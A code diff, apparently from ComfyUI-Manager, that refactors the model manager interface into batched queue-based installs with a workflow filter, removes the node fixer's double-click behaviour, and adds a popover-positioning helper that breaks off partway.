+	color: white;
+}
+
+.cmm-manager .cmm-btn-disable {
+	background-color: MediumSlateBlue;
+	color: white;
+}
+
+.cmm-manager .cmm-btn-install {
+	background-color: black;
+	color: white;
+}
+
+.cmm-btn-install {
+	padding: 4px 8px;
+}
+
+.cmm-btn-download {
+	width: 18px;
+	height: 18px;
+	position: absolute;
+	left: calc(50% - 10px);
+	top: calc(50% - 10px);
+	cursor: pointer;
+	opacity: 0.8;
+	color: #fff;
+}
+
+.cmm-btn-download:hover {
+	opacity: 1;
+}
+
+.cmm-manager-light .cmm-btn-download {
+	color: #000;
+}
+
+@keyframes cmm-btn-loading-bg {
+    0% {
+        left: 0;
+    }
+    100% {
+        left: -105px;
+    }
+}
+
+.cmm-manager button.cmm-btn-loading {
+    position: relative;
+    overflow: hidden;
+    border-color: rgb(0 119 207 / 80%);
+	background-color: var(--comfy-input-bg);
+}
+
+.cmm-manager button.cmm-btn-loading::after {
+    position: absolute;
+    top: 0;
+    left: 0;
+    content: "";
+    width: 500px;
+    height: 100%;
+    background-image: repeating-linear-gradient(
+        -45deg,
+        rgb(0 119 207 / 30%),
+        rgb(0 119 207 / 30%) 10px,
+        transparent 10px,
+        transparent 15px
+    );
+    animation: cmm-btn-loading-bg 2s linear infinite;
+}
+
+.cmm-manager-light .cmm-node-name a {
+	color: blue;
+}
+
+.cmm-manager-light .cm-warn-note {
+	background-color: #ccc !important;
+}
+
+.cmm-manager-light .cmm-btn-install {
+	background-color: #333;
+}

comfyui_manager/js/model-manager.js

@@ -1,242 +1,30 @@
+import { app } from "../../scripts/app.js";
 import { $el } from "../../scripts/ui.js";
 import { 
 	manager_instance, rebootAPI, 
-	fetchData, md5, icons 
+	fetchData, md5, icons, show_message, customAlert, infoToast, showTerminal,
+	storeColumnWidth, restoreColumnWidth, loadCss, generateUUID
 } from  "./common.js";
+import { api } from "../../scripts/api.js";
 
 // https://cenfun.github.io/turbogrid/api.html
 import TG from "./turbogrid.esm.js";
+import { buildGuiFrameCustomHeader,  createSettingsCombo } from "./comfyui-gui-builder.js";
 
-const pageCss = `
-.cmm-manager {
-	--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
-	z-index: 10001;
-	width: 80%;
-	height: 80%;
-	display: flex;
-	flex-direction: column;
-	gap: 10px;
-	color: var(--fg-color);
-	font-family: arial, sans-serif;
-}
+loadCss("./model-manager.css");
 
-.cmm-manager .cmm-flex-auto {
-	flex: auto;
-}
-
-.cmm-manager button {
-	font-size: 16px;
-	color: var(--input-text);
-    background-color: var(--comfy-input-bg);
-    border-radius: 8px;
-    border-color: var(--border-color);
-    border-style: solid;
-    margin: 0;
-	padding: 4px 8px;
-	min-width: 100px;
-}
-
-.cmm-manager button:disabled,
-.cmm-manager input:disabled,
-.cmm-manager select:disabled {
-	color: gray;
-}
-
-.cmm-manager button:disabled {
-	background-color: var(--comfy-input-bg);
-}
-
-.cmm-manager-header {
-	display: flex;
-	flex-wrap: wrap;
-	gap: 5px;
-	align-items: center;
-	padding: 0 5px;
-}
-
-.cmm-manager-header label {
-	display: flex;
-	gap: 5px;
-	align-items: center;
-}
-
-.cmm-manager-type,
-.cmm-manager-base,
-.cmm-manager-filter {
-	height: 28px;
-	line-height: 28px;
-}
-
-.cmm-manager-keywords {
-	height: 28px;
-	line-height: 28px;
-	padding: 0 5px 0 26px;
-	background-size: 16px;
-	background-position: 5px center;
-	background-repeat: no-repeat;
-	background-image: url("data:image/svg+xml;charset=utf8,${encodeURIComponent(icons.search.replace("currentColor", "#888"))}");
-}
-
-.cmm-manager-status {
-	padding-left: 10px;
-}
-
-.cmm-manager-grid {
-	flex: auto;
-	border: 1px solid var(--border-color);
-	overflow: hidden;
-}
-
-.cmm-manager-selection {
-	display: flex;
-	flex-wrap: wrap;
-	gap: 10px;
-	align-items: center;
-}
-
-.cmm-manager-message {
-	
-}
-
-.cmm-manager-footer {
-	display: flex;
-	flex-wrap: wrap;
-	gap: 10px;
-	align-items: center;
-}
-
-.cmm-manager-grid .tg-turbogrid {
-	font-family: var(--grid-font);
-	font-size: 15px;
-	background: var(--bg-color);
-}
-
-.cmm-manager-grid .cmm-node-name a {
-	color: skyblue;
-	text-decoration: none;
-	word-break: break-word;
-}
-
-.cmm-manager-grid .cmm-node-desc a {
-	color: #5555FF;
-    font-weight: bold;
-	text-decoration: none;
-}
-
-.cmm-manager-grid .tg-cell a:hover {
-	text-decoration: underline;
-}
-
-.cmm-icon-passed {
-	width: 20px;
-	height: 20px;
-	position: absolute;
-	left: calc(50% - 10px);
-	top: calc(50% - 10px);
-}
-
-.cmm-manager .cmm-btn-enable {
-	background-color: blue;
-	color: white;
-}
-
-.cmm-manager .cmm-btn-disable {
-	background-color: MediumSlateBlue;
-	color: white;
-}
-
-.cmm-manager .cmm-btn-install {
-	background-color: black;
-	color: white;
-}
-
-.cmm-btn-download {
-	width: 18px;
-	height: 18px;
-	position: absolute;
-	left: calc(50% - 10px);
-	top: calc(50% - 10px);
-	cursor: pointer;
-	opacity: 0.8;
-	color: #fff;
-}
-
-.cmm-btn-download:hover {
-	opacity: 1;
-}
-
-.cmm-manager-light .cmm-btn-download {
-	color: #000;
-}
-
-@keyframes cmm-btn-loading-bg {
-    0% {
-        left: 0;
-    }
-    100% {
-        left: -105px;
-    }
-}
-
-.cmm-manager button.cmm-btn-loading {
-    position: relative;
-    overflow: hidden;
-    border-color: rgb(0 119 207 / 80%);
-	background-color: var(--comfy-input-bg);
-}
-
-.cmm-manager button.cmm-btn-loading::after {
-    position: absolute;
-    top: 0;
-    left: 0;
-    content: "";
-    width: 500px;
-    height: 100%;
-    background-image: repeating-linear-gradient(
-        -45deg,
-        rgb(0 119 207 / 30%),
-        rgb(0 119 207 / 30%) 10px,
-        transparent 10px,
-        transparent 15px
-    );
-    animation: cmm-btn-loading-bg 2s linear infinite;
-}
-
-.cmm-manager-light .cmm-node-name a {
-	color: blue;
-}
-
-.cmm-manager-light .cm-warn-note {
-	background-color: #ccc !important;
-}
-
-.cmm-manager-light .cmm-btn-install {
-	background-color: #333;
-}
-
-`;
+const gridId = "model";
 
 const pageHtml = `
-<div class="cmm-manager-header">
-	<label>Filter
-		<select class="cmm-manager-filter"></select>
-	</label>
-	<label>Type
-		<select class="cmm-manager-type"></select>
-	</label>
-	<label>Base
-		<select class="cmm-manager-base"></select>
-	</label>
-	<input class="cmm-manager-keywords" type="search" placeholder="Search" />
-	<div class="cmm-manager-status"></div>
-	<div class="cmm-flex-auto"></div>
-</div>
-<div class="cmm-manager-grid"></div>
-<div class="cmm-manager-selection"></div>
-<div class="cmm-manager-message"></div>
-<div class="cmm-manager-footer">
-	<button class="cmm-manager-close">Close</button>
-	<div class="cmm-flex-auto"></div>
+<div class="cmm-manager cmm-manager-dark">
+	<div class="cmm-manager-grid"></div>
+	<div class="cmm-manager-selection"></div>
+	<div class="cmm-manager-message"></div>
+	<div class="cmm-manager-footer">
+		<button class="cmm-manager-refresh p-button p-component">Refresh</button>
+		<button class="cmm-manager-stop p-button p-component">Stop</button>
+		<div class="cmm-flex-auto"></div>
+	</div>
 </div>
 `;
 
@@ -254,22 +42,28 @@ export class ModelManager {
 		this.keywords = '';
 
 		this.init();
+
+		api.addEventListener("cm-queue-status", this.onQueueStatus);
 	}
 
 	init() {
+		const header = $el("div.cmm-manager-header", {}, [
+			createSettingsCombo("Filter", $el("select.cmm-manager-filter")),
+			createSettingsCombo("Type", $el("select.cmm-manager-type")),
+			createSettingsCombo("Base", $el("select.cmm-manager-base")),
+			$el("input.cmm-manager-keywords.p-inputtext.p-component", { type: "search", placeholder: "Search" }),
+			$el("div.cmm-manager-status"),
+			$el("div.cmm-flex-auto")
+		]);
 
-		if (!document.querySelector(`style[context="${this.id}"]`)) {
-			const $style = document.createElement("style");
-			$style.setAttribute("context", this.id);
-			$style.innerHTML = pageCss;
-			document.head.appendChild($style);
-		}
+		const frame = buildGuiFrameCustomHeader(
+			'cmm-manager-dialog', // dialog id
+			header, // custom header element
+			pageHtml, // dialog content element
+			this
+		);	// send this so we can attach close functions
 
-		this.element = $el("div", {
-			parent: document.body,
-			className: "comfy-modal cmm-manager"
-		});
-		this.element.innerHTML = pageHtml;
+		this.element = frame;
 		this.initFilter();
 		this.bindEvents();
 		this.initGrid();
@@ -282,10 +76,13 @@ export class ModelManager {
 			value: ""
 		}, {
 			label: "Installed",
-			value: "True"
+			value: "installed"
 		}, {
 			label: "Not Installed",
-			value: "False"
+			value: "not_installed"
+		}, {
+			label: "In Workflow",
+			value: "in_workflow"
 		}];
 
 		this.typeList = [{
@@ -365,10 +162,25 @@ export class ModelManager {
 				}
 			},
 
-			".cmm-manager-close": {
-				click: (e) => this.close()
+			".cmm-manager-refresh": {
+				click: () => {
+					app.refreshComboInNodes();
+				}
 			},
 
+			".cmm-manager-stop": {
+				click: () => {
+					api.fetchApi('/v2/manager/queue/reset', { method: 'POST' });
+					infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
+				}
+			},
+
+			".cmm-manager-back": {
+				click: (e) => {
+				    this.close()
+				    manager_instance.show();
+				}
+			}
 		};
 		Object.keys(eventsMap).forEach(selector => {
 			const target = this.element.querySelector(selector);
@@ -400,6 +212,10 @@ export class ModelManager {
             this.renderSelected();
         });
 
+		grid.bind("onColumnWidthChanged", (e, columnItem) => {
+			storeColumnWidth(gridId, columnItem)
+		});
+
 		grid.bind('onClick', (e, d) => {
 			const { rowItem } = d;
 			const target = d.e.target;
@@ -436,12 +252,31 @@ export class ModelManager {
 			rowFilter: (rowItem) => {
 
 				const searchableColumns = ["name", "type", "base", "description", "filename", "save_path"];
+				const models_extensions = ['.ckpt', '.pt', '.pt2', '.bin', '.pth', '.safetensors', '.pkl', '.sft'];
 
 				let shouldShown = grid.highlightKeywordsFilter(rowItem, searchableColumns, this.keywords);
 
 				if (shouldShown) {
-					if(this.filter && rowItem.installed !== this.filter) {
-						return false;
+					if(this.filter) {
+						if (this.filter == "in_workflow") {
+							rowItem.in_workflow = null;
+							if (Array.isArray(app.graph._nodes)) {
+								app.graph._nodes.forEach((item, i) => {
+									if (Array.isArray(item.widgets_values)) {
+										item.widgets_values.forEach((_item, i) => {
+											if (rowItem.in_workflow === null && _item !== null && models_extensions.includes("." + _item.toString().split('.').pop())) {
+												let filename = _item.match(/([^\/]+)(?=\.\w+$)/)[0];
+												if (grid.highlightKeywordsFilter(rowItem, searchableColumns, filename)) {
+													rowItem.in_workflow = "True";
+													grid.highlightKeywordsFilter(rowItem, searchableColumns, "");
+												}
+											}
+										});
+									}
+								});
+							}
+						}
+						return ((this.filter == "installed" && rowItem.installed == "True") || (this.filter == "not_installed" && rowItem.installed == "False") || (this.filter == "in_workflow" && rowItem.in_workflow == "True"));
 					}
 
 					if(this.type && rowItem.type !== this.type) {
@@ -507,7 +342,7 @@ export class ModelManager {
 				if (installed === "True") {
 					return `<div class="cmm-icon-passed">${icons.passed}</div>`;
 				}
-				return `<button class="cmm-btn-install" mode="install">Install</button>`;
+				return `<button class="cmm-btn-install p-button p-component" mode="install">Install</button>`;
 			}
 		}, {
 			id: 'url',
@@ -516,7 +351,7 @@ export class ModelManager {
 			sortable: false,
 			align: 'center',
 			formatter: (url, rowItem, columnItem) => {
-				return `<a class="cmm-btn-download" title="Download file" href="${url}" target="_blank">${icons.download}</a>`;
+				return `<a class="cmm-btn-download" tooltip="Download file" href="${url}" target="_blank">${icons.download}</a>`;
 			}
 		}, {
 			id: 'size',
@@ -551,6 +386,8 @@ export class ModelManager {
 			width: 200
 		}];
 
+		restoreColumnWidth(gridId, columns);
+
 		this.grid.setData({
 			options,
 			rows,
@@ -578,7 +415,7 @@ export class ModelManager {
 		}
 
 		this.selectedModels = selectedList;
-		this.showSelection(`<span>Selected <b>${selectedList.length}</b> models <button class="cmm-btn-install" mode="install">Install</button>`);
+		this.showSelection(`<span>Selected <b>${selectedList.length}</b> models <button class="cmm-btn-install p-button p-component" mode="install">Install</button>`);
 	}
 
 	focusInstall(item) {
@@ -593,17 +430,19 @@ export class ModelManager {
 	}
 
 	async installModels(list, btn) {
-		
 		btn.classList.add("cmm-btn-loading");
-		this.showLoading();
 		this.showError("");
 
-		let needRestart = false;
+		let needRefresh = false;
 		let errorMsg = "";
 
+		let target_items = [];
+
+		let batch = {};
+
 		for (const item of list) {
-			
 			this.grid.scrollRowIntoView(item);
+			target_items.push(item);
 
 			if (!this.focusInstall(item)) {
 				this.grid.onNextUpdated(() => {
@@ -614,48 +453,120 @@ export class ModelManager {
 			this.showStatus(`Install ${item.name} ...`);
 
 			const data = item.originalData;
-			const res = await fetchData('/model/install', {
+			data.ui_id = item.hash;
+
+
+			if(batch['install_model']) {
+				batch['install_model'].push(data);
+			}
+			else {
+				batch['install_model'] = [data];
+			}
+		}
+
+		this.install_context = {btn: btn, targets: target_items};
+
+		if(errorMsg) {
+			this.showError(errorMsg);
+			show_message("[Installation Errors]\n"+errorMsg);
+
+			// reset
+			for(let k in target_items) {
+				const item = target_items[k];
+				this.grid.updateCell(item, "installed");
+			}
+		}
+		else {
+			this.batch_id = generateUUID();
+			batch['batch_id'] = this.batch_id;
+
+			const res = await api.fetchApi(`/v2/manager/queue/batch`, {
 				method: 'POST',
-				headers: { 'Content-Type': 'application/json' },
-				body: JSON.stringify(data)
+				body: JSON.stringify(batch)
 			});
 
+			let failed = await res.json();
 
-			if (res.error) {
-				errorMsg = `Install failed: ${item.name} ${res.error.message}`;
-				break;;
+			if(failed.length > 0) {
+				for(let k in failed) {
+					let hash = failed[k];
+					const item = self.grid.getRowItemBy("hash", hash);
+					errorMsg = `[FAIL] ${item.title}`;
+				}
 			}
 
-			needRestart = true;
+			this.showStop();
+			showTerminal();
+		}
+	}
 
-			this.grid.setRowSelected(item, false);
+	async onQueueStatus(event) {
+		let self = ModelManager.instance;
+
+		if(event.detail.status == 'in_progress' && event.detail.ui_target == 'model_manager') {
+			const hash = event.detail.target;
+
+			const item = self.grid.getRowItemBy("hash", hash);
 
 			item.refresh = true;
+			self.grid.setRowSelected(item, false);
 			item.selectable = false;
-			this.grid.updateCell(item, "installed");
-			this.grid.updateCell(item, "tg-column-select");
+//			self.grid.updateCell(item, "tg-column-select");
+			self.grid.updateRow(item);
+		}
+		else if(event.detail.status == 'batch-done') {
+			self.hideStop();
+			self.onQueueCompleted(event.detail);
+		}
+	}
 
-			this.showStatus(`Install ${item.name} successfully`);
+	async onQueueCompleted(info) {
+		let result = info.model_result;
 
+		if(result.length == 0) {
+			return;
 		}
 
-		this.hideLoading();
+		let self = ModelManager.instance;
+
+		if(!self.install_context) {
+			return;
+		}
+
+		let btn = self.install_context.btn;
+
+		self.hideLoading();
 		btn.classList.remove("cmm-btn-loading");
 
+		let errorMsg = "";
+
+		for(let hash in result){
+			let v = result[hash];
+
+			if(v != 'success')
+				errorMsg += v + '\n';
+		}
+
+		for(let k in self.install_context.targets) {
+			let item = self.install_context.targets[k];
+			self.grid.updateCell(item, "installed");
+		}
+
 		if (errorMsg) {
-			this.showError(errorMsg);
+			self.showError(errorMsg);
+			show_message("Installation Error:\n"+errorMsg);
 		} else {
-			this.showStatus(`Install ${list.length} models successfully`);
+			self.showStatus(`Install ${result.length} models successfully`);
 		}
 
-		if (needRestart) {
-			this.showMessage(`To apply the installed model, please click the 'Refresh' button on the main menu.`, "red")
-		}
+		self.showRefresh();
+		self.showMessage(`To apply the installed model, please click the 'Refresh' button.`, "red")
 
+		infoToast('Tasks done', `[ComfyUI-Manager] All model downloading tasks in the queue have been completed.\n${info.done_count}/${info.total_count}`);
+		self.install_context = undefined;
 	}
 
 	getModelList(models) {
-
 		const typeMap = new Map();
 		const baseMap = new Map();
 
@@ -729,7 +640,7 @@ export class ModelManager {
 
 		const mode = manager_instance.datasrc_combo.value;
 
-		const res = await fetchData(`/externalmodel/getlist?mode=${mode}`);
+		const res = await fetchData(`/v2/externalmodel/getlist?mode=${mode}`);
 		if (res.error) {
 			this.showError("Failed to get external model list.");
 			this.hideLoading();
@@ -824,7 +735,7 @@ export class ModelManager {
 	}
 
 	showLoading() {
-		this.setDisabled(true);
+//		this.setDisabled(true);
 		if (this.grid) {
 			this.grid.showLoading();
 			this.grid.showMask({
@@ -834,7 +745,7 @@ export class ModelManager {
 	}
 
 	hideLoading() {
-		this.setDisabled(false);
+//		this.setDisabled(false);
 		if (this.grid) {
 			this.grid.hideLoading();
 			this.grid.hideMask();
@@ -842,8 +753,9 @@ export class ModelManager {
 	}
 
 	setDisabled(disabled) {
-
 		const $close = this.element.querySelector(".cmm-manager-close");
+		const $refresh = this.element.querySelector(".cmm-manager-refresh");
+		const $stop = this.element.querySelector(".cmm-manager-stop");
 
 		const list = [
 			".cmm-manager-header input",
@@ -855,7 +767,7 @@ export class ModelManager {
 		})
 		.flat()
 		.filter(it => {
-			return it !== $close;
+			return it !== $close && it !== $refresh && it !== $stop;
 		});
 		
 		list.forEach($elem => {
@@ -872,6 +784,18 @@ export class ModelManager {
 
 	}
 
+	showRefresh() {
+		this.element.querySelector(".cmm-manager-refresh").style.display = "block";
+	}
+
+	showStop() {
+		this.element.querySelector(".cmm-manager-stop").style.display = "block";
+	}
+
+	hideStop() {
+		this.element.querySelector(".cmm-manager-stop").style.display = "none";
+	}
+
 	setKeywords(keywords = "") {
 		this.keywords = keywords;
 		this.element.querySelector(".cmm-manager-keywords").value = keywords;
@@ -888,4 +812,4 @@ export class ModelManager {
 	close() {
 		this.element.style.display = "none";
 	}
-}
+}

comfyui_manager/js/node_fixer.js

@@ -1,16 +1,6 @@
 import { app } from "../../scripts/app.js";
 import { api } from "../../scripts/api.js";
 
-let double_click_policy = "copy-all";
-
-api.fetchApi('/manager/dbl_click/policy')
-	.then(response => response.text())
-	.then(data => set_double_click_policy(data));
-
-export function set_double_click_policy(mode) {
-	double_click_policy = mode;
-}
-
 function addMenuHandler(nodeType, cb) {
 	const getOpts = nodeType.prototype.getExtraMenuOptions;
 	nodeType.prototype.getExtraMenuOptions = function () {
@@ -152,63 +142,7 @@ function node_info_copy(src, dest, connect_both, copy_shape) {
 }
 
 app.registerExtension({
-	name: "Comfy.Manager.NodeFixer",
-
-	async nodeCreated(node, app) {
-		let orig_dblClick = node.onDblClick;
-		node.onDblClick = function (e, pos, self) {
-			orig_dblClick?.apply?.(this, arguments);
-
-			if((!node.inputs && !node.outputs) || pos[1] > 0)
-				return;
-
-			switch(double_click_policy) {
-				case "copy-all":
-				case "copy-full":
-				case "copy-input":
-					{
-						if(node.inputs?.some(x => x.link != null) || node.outputs?.some(x => x.links != null && x.links.length > 0) )
-							return;
-
-						let src_node = lookup_nearest_nodes(node);
-						if(src_node)
-						{
-							let both_connection = double_click_policy != "copy-input";
-							let copy_shape = double_click_policy == "copy-full";
-							node_info_copy(src_node, node, both_connection, copy_shape);
-						}
-					}
-					break;
-				case "possible-input":
-					{
-						let nearest_inputs = lookup_nearest_inputs(node);
-						if(nearest_inputs)
-							connect_inputs(nearest_inputs, node);
-					}
-					break;
-				case "dual":
-					{
-						if(pos[0] < node.size[0]/2) {
-							// left: possible-input
-							let nearest_inputs = lookup_nearest_inputs(node);
-							if(nearest_inputs)
-								connect_inputs(nearest_inputs, node);
-						}
-						else {
-							// right: copy-all
-							if(node.inputs?.some(x => x.link != null) || node.outputs?.some(x => x.links != null && x.links.length > 0) )
-								return;
-
-							let src_node = lookup_nearest_nodes(node);
-							if(src_node)
-								node_info_copy(src_node, node, true);
-						}
-					}
-					break;
-			}
-		}
-	},
-
+	name: "Comfy.Legacy.Manager.NodeFixer",
 	beforeRegisterNodeDef(nodeType, nodeData, app) {
 		addMenuHandler(nodeType, function (_, options) {
 			options.push({
@@ -219,6 +153,7 @@ app.registerExtension({
 					app.canvas.graph.add(new_node, false);
 					node_info_copy(this, new_node, true);
 					app.canvas.graph.remove(this);
+					requestAnimationFrame(() => app.canvas.setDirty(true, true))
 				},
 			});
 		});

comfyui_manager/js/popover-helper.js

@@ -0,0 +1,619 @@
+const hasOwn = function(obj, key) {
+    return Object.prototype.hasOwnProperty.call(obj, key);
+};
+
+const isNum = function(num) {
+    if (typeof num !== 'number' || isNaN(num)) {
+        return false;
+    }
+    const isInvalid = function(n) {
+        if (n === Number.MAX_VALUE || n === Number.MIN_VALUE || n === Number.NEGATIVE_INFINITY || n === Number.POSITIVE_INFINITY) {
+            return true;
+        }
+        return false;
+    };
+    if (isInvalid(num)) {
+        return false;
+    }
+    return true;
+};
+
+const toNum = (num) => {
+    if (typeof (num) !== 'number') {
+        num = parseFloat(num);
+    }
+    if (isNaN(num)) {
+        num = 0;
+    }
+    num = Math.round(num);
+    return num;
+};
+
+const clamp = function(value, min, max) {
+    return Math.max(min, Math.min(max, value));
+};
+
+const isWindow = (obj) => {
+    return Boolean(obj && obj === obj.window);
+};
+
+const isDocument = (obj) => {
+    return Boolean(obj && obj.nodeType === 9);
+};
+
+const isElement = (obj) => {
+    return Boolean(obj && obj.nodeType === 1);
+};
+
+// ===========================================================================================
+
+export const toRect = (obj) => {
+    if (obj) {
+        return {
+            left: toNum(obj.left || obj.x),
+            top: toNum(obj.top || obj.y),
+            width: toNum(obj.width),
+            height: toNum(obj.height)
+        };
+    }
+    return {
+        left: 0,
+        top: 0,
+        width: 0,
+        height: 0
+    };
+};
+
+export const getElement = (selector) => {
+    if (typeof selector === 'string' && selector) {
+        if (selector.startsWith('#')) {
+            return document.getElementById(selector.slice(1));
+        }
+        return document.querySelector(selector);
+    }
+
+    if (isDocument(selector)) {
+        return selector.body;
+    }
+    if (isElement(selector)) {
+        return selector;
+    }
+};
+
+export const getRect = (target, fixed) => {
+    if (!target) {
+        return toRect();
+    }
+
+    if (isWindow(target)) {
+        return {
+            left: 0,
+            top: 0,
+            width: window.innerWidth,
+            height: window.innerHeight
+        };
+    }
+
+    const elem = getElement(target);
+    if (!elem) {
+        return toRect(target);
+    }
+
+    const br = elem.getBoundingClientRect();
+    const rect = toRect(br);
+
+    // fix offset
+    if (!fixed) {
+        rect.left += window.scrollX;
+        rect.top += window.scrollY;
+    }
+
+    rect.width = elem.offsetWidth;
+    rect.height = elem.offsetHeight;
+
+    return rect;
+};
+
+// ===========================================================================================
+
+const calculators = {
+
+    bottom: (info, containerRect, targetRect) => {
+        info.space = containerRect.top + containerRect.height - targetRect.top - targetRect.height - info.height;
+        info.top = targetRect.top + targetRect.height;
+        info.left = Math.round(targetRect.left + targetRect.width * 0.5 - info.width * 0.5);
+    },
+
+    top: (info, containerRect, targetRect) => {
+        info.space = targetRect.top - info.height - containerRect.top;
+        info.top = targetRect.top - info.height;
+        info.left = Math.round(targetRect.left + targetRect.width * 0.5 - info.width * 0.5);
+    },
+
+    right: (info, containerRect, targetRect) => {
+        info.space = containerRect.left + containerRect.width - targetRect.left - targetRect.width - info.width;
+        info.top = Math.round(targetRect.top + targetRect.height * 0.5 - info.height * 0.5);
+        info.left = targetRect.left + targetRect.width;
+    },
+
+    left: (info, containerRect, targetRect) => {
+        info.space = targetRect.left - info.width - containerRect.left;
+        info.top = Math.round(targetRect.top + targetRect.height * 0.5 - info.height * 0.5);
+        info.left = targetRect.left - info.width;
+    }
+};
+
+// with order
+export const getDefaultPositions = () => {
+    return Object.keys(calculators);
+};
+
+const calculateSpace = (info, containerRect, targetRect) => {
+    const calculator = calculators[info.position];
+    calculator(info, containerRect, targetRect);
+    if (info.space >= 0) {
+        info.passed += 1;
+    }
+};
+
+// ===========================================================================================
+
+const calculateAlignOffset = (info, containerRect, targetRect, alignType, sizeType) => {
+
+    const popoverStart = info[alignType];
+    const popoverSize = info[sizeType];
+
+    const containerStart = containerRect[alignType];
+    const containerSize = containerRect[sizeType];
+
+    const targetStart = targetRect[alignType];
+    const targetSize = targetRect[sizeType];
+
+    const targetCenter = targetStart + targetSize * 0.5;
+
+    // size overflow
+    if (popoverSize > containerSize) {
+        const overflow = (popoverSize - containerSize) * 0.5;
+        info[alignType] = containerStart - overflow;
+        info.offset = targetCenter - containerStart + overflow;
+        return;
+    }
+
+    const space1 = popoverStart - containerStart;
+    const space2 = (containerStart + containerSize) - (popoverStart + popoverSize);
+
+    // both side passed, default to center
+    if (space1 >= 0 && space2 >= 0) {
+        if (info.passed) {
+            info.passed += 2;
+        }
+        info.offset = popoverSize * 0.5;
+        return;
+    }
+
+    // one side passed
+    if (info.passed) {
+        info.passed += 1;
+    }
+
+    if (space1 < 0) {
+        const min = containerStart;
+        info[alignType] = min;
+        info.offset = targetCenter - min;
+        return;
+    }
+
+    // space2 < 0
+    const max = containerStart + containerSize - popoverSize;
+    info[alignType] = max;
+    info.offset = targetCenter - max;
+
+};
+
+const calculateHV = (info, containerRect) => {
+    if (['top', 'bottom'].includes(info.position)) {
+        info.top = clamp(info.top, containerRect.top, containerRect.top + containerRect.height - info.height);
+        return ['left', 'width'];
+    }
+    info.left = clamp(info.left, containerRect.left, containerRect.left + containerRect.width - info.width);
+    return ['top', 'height'];
+};
+
+const calculateOffset = (info, containerRect, targetRect) => {
+
+    const [alignType, sizeType] = calculateHV(info, containerRect);
+
+    calculateAlignOffset(info, containerRect, targetRect, alignType, sizeType);
+
+    info.offset = clamp(info.offset, 0, info[sizeType]);
+
+};
+
+// ===========================================================================================
+
+const calculateDistance = (info, previousPositionInfo) => {
+    if (!previousPositionInfo) {
+        return;
+    }
+    // no change if position no change with previous
+    if (info.position === previousPositionInfo.position) {
+        return;
+    }
+    const ax = info.left + info.width * 0.5;
+    const ay = info.top + info.height * 0.5;
+    const bx = previousPositionInfo.left + previousPositionInfo.width * 0.5;
+    const by = previousPositionInfo.top + previousPositionInfo.height * 0.5;
+    const dx = Math.abs(ax - bx);
+    const dy = Math.abs(ay - by);
+    info.distance = Math.round(Math.sqrt(dx * dx + dy * dy));
+};
+
+// ===========================================================================================
+
+const calculatePositionInfo = (info, containerRect, targetRect, previousPositionInfo) => {
+    calculateSpace(info, containerRect, targetRect);
+    calculateOffset(info, containerRect, targetRect);
+    calculateDistance(info, previousPositionInfo);
+};
+
+// ===========================================================================================
+
+const calculateBestPosition = (containerRect, targetRect, infoMap, withOrder, previousPositionInfo) => {
+
+    // position space: +1
+    // align space:
+    //    two side passed: +2
+    //    one side passed: +1
+
+    const safePassed = 3;
+
+    if (previousPositionInfo) {
+        const prevInfo = infoMap[previousPositionInfo.position];
+        if (prevInfo) {
+            calculatePositionInfo(prevInfo, containerRect, targetRect);
+            if (prevInfo.passed >= safePassed) {
+                return prevInfo;
+            }
+            prevInfo.calculated = true;
+        }
+    }
+
+    const positionList = [];
+    Object.values(infoMap).forEach((info) => {
+        if (!info.calculated) {
+            calculatePositionInfo(info, containerRect, targetRect, previousPositionInfo);
+        }
+        positionList.push(info);
+    });
+
+    positionList.sort((a, b) => {
+        if (a.passed !== b.passed) {
+            return b.passed - a.passed;
+        }
+
+        if (withOrder && a.passed >= safePassed && b.passed >= safePassed) {
+            return a.index - b.index;
+        }
+
+        if (a.space !== b.space) {
+            return b.space - a.space;
+        }
+
+        return a.index - b.index;
+    });
+
+    // logTable(positionList);
+
+    return positionList[0];
+};
+
+// const logTable = (() => {
+//     let time_id;
+//     return (info) => {
+//         clearTimeout(time_id);
+//         time_id = setTimeout(() => {
+//             console.table(info);
+//         }, 10);
+//     };
+// })();
+
+// ===========================================================================================
+
+const getAllowPositions = (positions, defaultAllowPositions) => {
+    if (!positions) {
+        return;
+    }
+    if (Array.isArray(positions)) {
+        positions = positions.join(',');
+    }
+    positions = String(positions).split(',').map((it) => it.trim().toLowerCase()).filter((it) => it);
+    positions = positions.filter((it) => defaultAllowPositions.includes(it));
+    if (!positions.length) {
+        return;
+    }
+    return positions;
+};
+
+const isPositionChanged = (info, previousPositionInfo) => {
+    if (!previousPositionInfo) {
+        return true;
+    }
+
+    if (info.left !== previousPositionInfo.left) {
+        return true;
+    }
+
+    if (info.top !== previousPositionInfo.top) {
+        return true;
+    }
+
+    return false;
+};
+
+// ===========================================================================================
+
+// const log = (name, time) => {
+//     if (time > 0.1) {
+//         console.log(name, time);
+//     }
+// };
+
+export const getBestPosition = (containerRect, targetRect, popoverRect, positions, previousPositionInfo) => {
+
+    const defaultAllowPositions = getDefaultPositions();
+    let withOrder = true;
+    let allowPositions = getAllowPositions(positions, defaultAllowPositions);
+    if (!allowPositions) {
+        allowPositions = defaultAllowPositions;
+        withOrder = false;
+    }
+
+    // console.log('withOrder', withOrder);
+
+    // const start_time = performance.now();
+
+    const infoMap = {};
+    allowPositions.forEach((k, i) => {
+        infoMap[k] = {
+            position: k,
+            index: i,
+
+            top: 0,
+            left: 0,
+            width: popoverRect.width,
+            height: popoverRect.height,
+
+            space: 0,
+
+            offset: 0,
+            passed: 0,
+
+            distance: 0
+        };
+    });
+
+    // log('infoMap', performance.now() - start_time);
+
+
+    const bestPosition = calculateBestPosition(containerRect, targetRect, infoMap, withOrder, previousPositionInfo);
+
+    // check left/top
+    bestPosition.changed = isPositionChanged(bestPosition, previousPositionInfo);
+
+    return bestPosition;
+};
+
+// ===========================================================================================
+
+const getTemplatePath = (width, height, arrowOffset, arrowSize, borderRadius) => {
+    const p = (px, py) => {
+        return [px, py].join(',');
+    };
+
+    const px = function(num, alignEnd) {
+        const floor = Math.floor(num);
+        let n = num < floor + 0.5 ? floor + 0.5 : floor + 1.5;
+        if (alignEnd) {
+            n -= 1;
+        }
+        return n;
+    };
+
+    const pxe = function(num) {
+        return px(num, true);
+    };
+
+    const ls = [];
+
+    const innerLeft = px(arrowSize);
+    const innerRight = pxe(width - arrowSize);
+    arrowOffset = clamp(arrowOffset, innerLeft, innerRight);
+
+    const innerTop = px(arrowSize);
+    const innerBottom = pxe(height - arrowSize);
+
